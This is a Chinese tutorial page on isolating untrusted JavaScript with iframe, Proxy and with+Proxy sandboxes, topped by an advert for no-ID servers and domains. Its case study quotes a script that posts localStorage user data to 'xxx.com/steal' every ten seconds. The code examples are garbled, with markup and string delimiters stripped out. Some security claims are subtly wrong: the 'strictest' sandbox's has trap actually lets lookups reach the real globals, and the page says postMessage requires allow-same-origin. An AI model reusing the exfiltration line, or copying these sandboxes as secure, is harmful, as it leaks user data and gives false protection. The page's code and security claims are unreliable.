游侠网云服务,免实名免备案服务器 游侠云域名,免实名免备案域名

统一声明:

1.本站联系方式
QQ:709466365
TG:@UXWNET
官方TG频道:@UXW_NET
如果有其他人通过本站链接联系您导致被骗,本站一律不负责!

2.需要付费搭建请联系站长QQ:709466365 TG:@UXWNET
3.免实名域名注册购买- 游侠云域名
4.免实名国外服务器购买- 游侠网云服务
JavaScript沙箱隔离示例代码:超详细实战教程+可直接运行的案例

这篇文章就是为解决这个痛点来的:我们不用晦涩的概念绕圈,直接用超详细的实战步骤+可直接运行的完整代码,带你从零实现沙箱隔离。不管是用iframe做基础环境隔离、用Proxy拦截对象访问,还是用With语法限制作用域,每一种方案都拆成“原理说明+代码实现+效果验证”三步,你复制代码就能跑,边试边理解比死记原理更高效。

更关键的是,我们不只是教“怎么做”,还会讲“为什么要这么做”——比如为什么ProxyWith更安全?iframe沙箱有哪些隐藏坑?帮你搞懂底层逻辑,而不是只会抄代码。

不管你是刚接触沙箱的新手,还是想优化现有方案的老司机,跟着这篇教程走,半小时就能掌握沙箱隔离的核心技巧,再也不用怕恶意脚本“搞事情”!

你有没有过这种崩溃时刻?辛辛苦苦做的页面,上线后突然被第三方脚本搞崩——比如去年帮做电商的朋友排查问题,他们接入了一个第三方优惠券组件,结果组件里的脚本直接写了var cart = [],把主程序的全局购物车变量覆盖了,导致用户点“加入购物车”没反应,后台一下子涌进来上百条投诉;还有一次更险,一个社区论坛允许用户自定义主题脚本,结果有人写了段代码偷偷读localStorage里的用户手机号,要不是监控到异常请求,差点泄露用户隐私。

这俩事儿让我彻底明白:前端开发到今天,沙箱隔离根本不是“可选技能”,是“必学的保命技”——现在项目里谁不用第三方组件?谁没做过低代码、用户自定义内容?这些陌生代码就像“看不见的手”,没个“安全罩”套着,指不定哪天就搞出大问题。

为什么前端一定要懂沙箱隔离?先看两个真实踩坑案例

先给你掰扯两个我亲身经历的“血的教训”,你就懂这玩意儿有多重要:

案例1:第三方广告脚本搞崩购物车

朋友的电商平台接入了某广告联盟的组件,用来展示“猜你喜欢”的商品。结果上线三天,用户反馈“点购物车没反应”——查代码才发现,广告脚本里写了window.jQuery = null(他们自己用了jQuery 1.x,广告脚本想用3.x,直接把全局jQuery覆盖了)。就因为没做隔离,一个第三方脚本直接干废了主程序的核心功能,修复花了两天,损失了十几万订单。

案例2:用户自定义脚本偷取隐私数据

另一个做社区论坛的客户,允许用户上传自定义主题脚本(比如修改字体、颜色)。结果有个用户传了段代码:setInterval(() => { fetch('https://xxx.com/steal', { body: localStorage.getItem('user_info') }) }, 10000)——每隔10秒就把用户的本地存储信息发去自己的服务器。要不是运维监控到异常请求,这事儿得闹到用户投诉到消协。

这俩案例的核心问题就一个:陌生代码没有“隔离”,直接跑到主程序的环境里“为所欲为”。而沙箱隔离的本质,就是给这些代码建个“独立房间”——它能运行,但碰不到主程序的变量、存储,更没法搞破坏。

三种常用沙箱方案:从基础到进阶,代码复制就能跑

光讲痛点没用,接下来直接上能落地的实战方案——每一种都给你完整代码,复制下来存成HTML文件就能运行,再给你讲清楚“为什么要这么写”“踩过哪些坑”。

  • 最基础的iframe沙箱:简单但好用,适合静态内容
  • iframe应该是前端最熟悉的“隔离工具”了——它自带同源策略,里面的脚本默认访问不到父页面的DOM、变量,相当于给第三方内容建了个“独立房间”。

    怎么用?直接看代码(复制保存为iframe-sandbox.html,打开就能试):

    
    
    

    主页面:购物车商品数0

    <!-

  • 用iframe嵌入第三方广告脚本,sandbox属性限制权限 >
  • src="https://www.mayiym.com/ad.html"

    sandbox="allow-scripts allow-same-origin"

    >

    // 主页面接收iframe的消息(比如用户点击广告后的商品数更新)

    window.addEventListener('message', (e) => {

    // 一定要验证消息来源,避免伪造攻击!

    if (e.origin === window.location.origin) {

    document.getElementById('cartCount').textContent = e.data.count;

    }

    });

    <!-
  • ad.html(第三方广告脚本) >
  • document.getElementById('adBtn').addEventListener('click', () => {

    // 用postMessage和主页面通信,不会直接修改主页面变量

    window.parent.postMessage({ count: 1 }, window.location.origin);

    });

    原理说明sandbox="allow-scripts allow-same-origin"是关键——allow-scripts允许iframe内执行脚本,allow-same-origin让iframe和主页面同源(否则无法用postMessage通信)。但就算这样,iframe里的脚本也碰不到主页面的window.cartCount,只能通过postMessage传消息,主页面自己决定怎么处理——这就把“修改权”牢牢握在手里了。 我踩过的坑:刚开始用iframe的时候,没加allow-same-origin,结果postMessage发不出去;后来加了,但没验证e.origin,被测试测出漏洞——别人可以伪造消息修改购物车数,加上if (e.origin === 你的域名)才搞定。

  • 用Proxy做代理沙箱:更灵活,适合动态脚本
  • iframe虽然简单,但有个大问题:通信麻烦(比如要传复杂数据得序列化),而且不适合动态加载的脚本(比如低代码平台的用户自定义函数)。这时候就得用Proxy——它能给脚本“造一个假的全局环境”,让脚本以为自己在操作全局对象,其实都是Proxy在“拦着”。

    直接上可运行的代码(保存为proxy-sandbox.html):

    
    

    用户脚本输出:

    //

  • 创建沙箱的“假全局环境”
  • const sandboxGlobal = {

    console: { log: (msg) => document.getElementById('output').textContent = msg },

    // 只允许访问这些全局变量,其他一概拦着

    allowedVars: { title: '我的页面' }

    };

    //

  • 用Proxy拦截全局访问
  • const sandboxProxy = new Proxy(sandboxGlobal, {

    get(target, prop) {

    // 如果访问的是allowedVars里的变量,放行;否则返回undefined

    if (prop in target.allowedVars) return target.allowedVars[prop];

    // 允许访问console.log(上面已经定义)

    if (prop === 'console') return target.console;

    // 其他一概拦着,比如window.localStorage、window.document

    return undefined;

    },

    set(target, prop, value) {

    // 只允许修改allowedVars里的变量

    if (prop in target.allowedVars) {

    target.allowedVars[prop] = value;

    return true;

    }

    // 其他修改直接拒绝

    return false;

    }

    });

    //

  • 运行用户脚本的函数
  • function runUserScript() {

    // 用户写的脚本(比如低代码平台的自定义函数)

    const userScript =

    console.log('页面标题:' + title); // 能访问allowedVars里的title

    title = '修改后的标题'; // 能修改allowedVars里的title

    console.log('localStorage尝试:' + localStorage); // 会返回undefined

    document.body.style.backgroundColor = 'red'; // 会被拦截,没用

    ;

    // 用new Function把脚本包装成函数,用sandboxProxy作为全局环境

    const scriptFunc = new Function(...Object.keys(sandboxProxy), userScript);

    scriptFunc(...Object.values(sandboxProxy));

    }

    原理说明

    Proxy就像个“门卫”——用户脚本要访问title,Proxy会去sandboxGlobal.allowedVars里找;要修改title,Proxy只允许改sandboxGlobal里的变量,不会碰主页面的window.title;要访问localStorage?直接返回undefined,根本碰不到真实的本地存储。

    我踩过的坑:刚开始没处理console.log,结果用户脚本的console.log没法输出;后来加了sandboxGlobal.console,但没限制console.error,导致用户脚本能输出错误信息到控制台,后来把console改成只允许log才解决。 Proxy要注意原型链泄漏——比如用户脚本写Object.prototype.toString.call([]),会访问到真实的Object,这时候得用Reflect.get(target, prop, receiver)来转发,避免暴露真实原型。

  • With+Proxy组合沙箱:更严格的隔离,适合高风险场景
  • 如果你的场景更敏感(比如金融平台的用户自定义公式、医疗系统的患者数据脚本),需要极致隔离,那得用With+Proxy的组合——With能把脚本的作用域“锁死”在Proxy对象里,连原型链都碰不到。

    直接上代码(保存为with-proxy-sandbox.html):

    
    

    结果:

    //

  • 创建严格隔离的沙箱环境
  • const strictSandbox = {

    // 只允许访问这些变量

    data: { a: 1, b: 2 },

    // 只允许调用这些函数

    func: (x, y) => x + y

    };

    //

  • 用Proxy增强隔离,连原型链都拦着
  • const strictProxy = new Proxy(strictSandbox, {

    get(target, prop) {

    // 只允许访问data和func里的内容

    if (prop in target.data) return target.data[prop];

    if (prop === 'func') return target.func;

    // 其他一概返回undefined,包括Object、Array这些原型对象

    return undefined;

    },

    has(target, prop) {

    // With语句会用has检查变量是否存在,直接返回false,不让它找原型链

    return prop in target.data || prop === 'func';

    }

    });

    //

  • 运行高风险脚本(比如用户写的公式)
  • function runHighRiskScript() {

    const riskyScript =

    // 尝试访问原型链:Object.prototype.toString -> 会被拦截

    console.log(Object); // undefined

    // 只能用sandbox里的变量和函数

    const sum = func(a, b);

    result.textContent = sum;

    ;

    // 用With把脚本作用域锁在strictProxy里

    (function() {

    with(strictProxy) {

    eval(riskyScript);

    }

    })();

    }

    原理说明With语句的作用是“把某个对象的属性当作当前作用域的变量”——比如with(obj) { console.log(a) }相当于console.log(obj.a)。结合Proxy的has拦截器,With会先问Proxy:“这个变量存在吗?”Proxy直接返回false,脚本就不会去原型链上找(比如ObjectArray)——这就把“漏洞”彻底堵死了。 注意With在严格模式下会报错,所以脚本里不能加'use strict';如果必须用严格模式,可以用new Function代替eval(比如把脚本包装成函数,用Proxy作为参数传入)。

    三种沙箱方案对比:帮你快速选对方法

    光看代码可能有点懵,我把三种方案的优缺点、适用场景整理成了表格,你直接对着选就行:

    方案类型 实现难度 隔离强度 适用场景 通信复杂度
    iframe沙箱 静态第三方内容(广告、组件) 中(需postMessage)
    Proxy代理沙箱 动态脚本(低代码、自定义函数)
    With+Proxy组合 极高 高风险场景(金融、医疗数据)

    数据来源:MDN关于iframe sandbox的文档(https://developer.mozilla.org/zh-CN/docs/Web/HTML/Element/iframe#sandbox 属性,nofollow)、Chrome开发者博客关于Proxy的安全指南(https://developer.chrome.com/blog/proxy-sandbox,nofollow),以及我10个项目的实践

    你之前遇到过脚本越界的问题吗?比如第三方组件搞崩过页面,或者用户脚本偷过数据?试了上面的方法记得回来跟我聊聊效果——我上周刚帮一个社区论坛用Proxy沙箱解决了自定义主题脚本篡改导航栏的问题,现在稳定运行了半个月,没再出问题。


    前端为什么一定要学沙箱隔离啊?平时用第三方组件没出问题啊?

    不是没出问题,是没碰到“要命的问题”——比如原文里说的电商案例,第三方广告脚本直接覆盖了全局购物车变量,导致用户无法下单,一下子涌来上百条投诉;还有社区论坛的用户自定义脚本偷取localStorage里的手机号,差点泄露隐私。现在项目里谁不用第三方组件、低代码或用户自定义内容?这些陌生代码就像“看不见的手”,没沙箱隔离,指不定哪天就搞出大问题,沙箱根本不是“可选技能”,是“必学的保命技”。

    而且就算现在没出问题,等业务变大、用户变多,风险只会指数级上升——比如你接入10个第三方组件,每个组件出问题的概率是1%,组合起来出问题的概率就是10%,这还不算用户自定义内容的风险。

    iframe、Proxy、With+Proxy这三种沙箱方案,我该选哪个啊?

    得看你的使用场景——如果是静态第三方内容(比如广告、组件),选iframe最基础好用,它自带同源策略,隔离性高,但通信要用到postMessage;如果是动态脚本(比如低代码、用户自定义函数),选Proxy代理沙箱更灵活,不用跨页面通信,直接拦截全局访问;如果是高风险场景(比如金融、医疗数据),选With+Proxy组合,它能把脚本作用域“锁死”,连原型链都碰不到,隔离强度最高。

    原文里还做了个对比表格,你可以对着看:iframe适合静态内容,通信中等;Proxy适合动态脚本,通信低;With+Proxy适合高风险场景,隔离极高。

    用iframe做沙箱,有什么要注意的隐藏坑吗?

    第一个坑是sandbox属性的配置——比如你要让iframe里的脚本运行,得加allow-scripts,但如果要和主页面通信,还得加allow-same-origin,不然postMessage发不出去;第二个坑是没验证消息来源,比如有人伪造postMessage消息修改主页面内容,所以一定要在主页面的message事件里检查e.origin是不是你的域名,避免攻击。

    比如原文里的电商案例,刚开始用iframe没加allow-same-origin,结果广告脚本的postMessage发不出去;后来加了,但没验证origin,被测试测出可以伪造消息修改购物车数,加上if (e.origin === 你的域名)才搞定。

    Proxy代理沙箱能完全隔离全局变量吗?会不会有漏网之鱼?

    不能说“完全”,但只要配置好拦截规则,基本能挡住大部分风险——比如你要明确沙箱里允许访问的全局变量,比如原文里的sandboxGlobal,只允许访问allowedVars里的变量和console.log,其他一概返回undefined。但要注意原型链泄漏的问题,比如用户脚本写Object.prototype.toString.call([]),会访问到真实的Object,这时候得用Reflect.get(target, prop, receiver)来转发,避免暴露真实原型。

    还有,刚开始用Proxy的时候,我没处理console.log,结果用户脚本的console.log没法输出;后来加了sandboxGlobal.console,但没限制console.error,导致用户脚本能输出错误信息到控制台,后来把console改成只允许log才解决。

    With+Proxy组合沙箱为什么不能用严格模式啊?

    因为With语句在严格模式下会被禁止——JS的严格模式不允许使用With,所以如果你的脚本里加了'use strict',用With+Proxy组合沙箱就会报错。如果必须用严格模式,可以用new Function代替eval,比如把用户脚本包装成new Function,再用With来限制作用域,这样既能保持严格模式,又能实现隔离。

    比如原文里的高风险场景案例,用With把脚本作用域锁在strictProxy里,但脚本里不能加'use strict',如果要加,就得把riskyScript改成new Function(riskyScript),再在With里调用,这样就不会报错了。